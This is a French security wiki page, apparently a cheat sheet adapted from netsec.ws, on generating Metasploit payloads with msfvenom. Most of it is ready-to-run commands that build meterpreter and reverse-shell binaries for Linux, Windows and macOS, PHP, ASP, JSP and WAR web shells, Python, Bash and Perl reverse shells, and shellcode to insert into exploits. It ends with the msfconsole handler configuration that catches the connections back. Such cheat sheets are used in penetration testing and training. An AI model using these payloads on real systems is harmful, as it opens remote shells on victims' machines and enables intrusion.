Wiki sécurité informatique

Cette page est en lecture seule. Vous pouvez afficher le texte source, mais ne pourrez pas le modifier. Contactez votre administrateur si vous pensez qu'il s'agit d'une erreur.
**Générer un payload avec metasploit**


**1.Presentation**

Msfvenom est un logiciel du framework metasploit.

Il permet de générer , encoder , packer des payloads.

__Lister les payloads disponibles__

<code>msfvenom -l</code>

__Générer des binaires__

Pour Linux :

<code>msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Votre adresse ip> LPORT=<Votre port d'écoute local> -f elf > shell.elf </code>

Pour Windows :

<code>msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Votre adresse ip> LPORT=<Votre port d'écoute local> -f exe > shell.exe </code>

Pour Mac :

<code>msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Votre adresse ip> LPORT=<Votre port d'écoute local> -f macho > shell.macho </code>

__Générer des payloads pour le web__

En PHP :

<code>
msfvenom -p php/meterpreter_reverse_tcp LHOST=<Votre adresse ip> LPORT=<Votre port d'écoute local> -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
</code>

En ASP :

<code>
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Votre adresse ip> LPORT=<Votre port d'écoute local> -f asp > shell.asp
</code>

En JSP :

<code>
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Votre adresse ip> LPORT=<Votre port d'écoute local> -f raw > shell.jsp
</code>

En WAR :

<code>
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Votre adresse ip> LPORT=<Votre port d'écoute local> -f war > shell.war
</code>

__Générer des payloads pour des langages de scripte__

En Python:

<code>
msfvenom -p cmd/unix/reverse_python LHOST=<Votre adresse ip> LPORT=<Votre port d'écoute local> -f raw > shell.py
</code>

En Bash :

<code>
msfvenom -p cmd/unix/reverse_bash LHOST=<Votre adresse ip> LPORT=<Votre port d'écoute local> -f raw > shell.sh
</code>

En Perl :

<code>
msfvenom -p cmd/unix/reverse_perl LHOST=<Votre adresse ip> LPORT=<Votre port d'écoute local> -f raw > shell.pl
</code>

__Générer un shellcode__

Les shellcodes sont à insérer dans votre exploit.

Shellcode basé sur Linux

<code>
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Votre adresse ip> LPORT=<Votre port d'écoute local> -f <language>
</code>

Shellcode basé sur windows

<code>
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Votre adresse ip> LPORT=<Votre port d'écoute local> -f <language>
</code>

Shellcode basé sur Mac

<code>
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Votre adresse ip> LPORT=<Votre port d'écoute local> -f <language>
</code>

__Mise en place du handler__

Le handler permet de recevoir la connexion initier par votre payload.

<code>
Dans msfconsole :

use exploit/multi/handler
set PAYLOAD <Payload name>
set LHOST <LHOST value>
set LPORT <LPORT value>
set ExitOnSession false
exploit -j -z

</code>

Source : [[http://netsec.ws/?p=331]]
Wiki sécurité informatique

Outils pour utilisateurs

Outils du site

Outils de la page
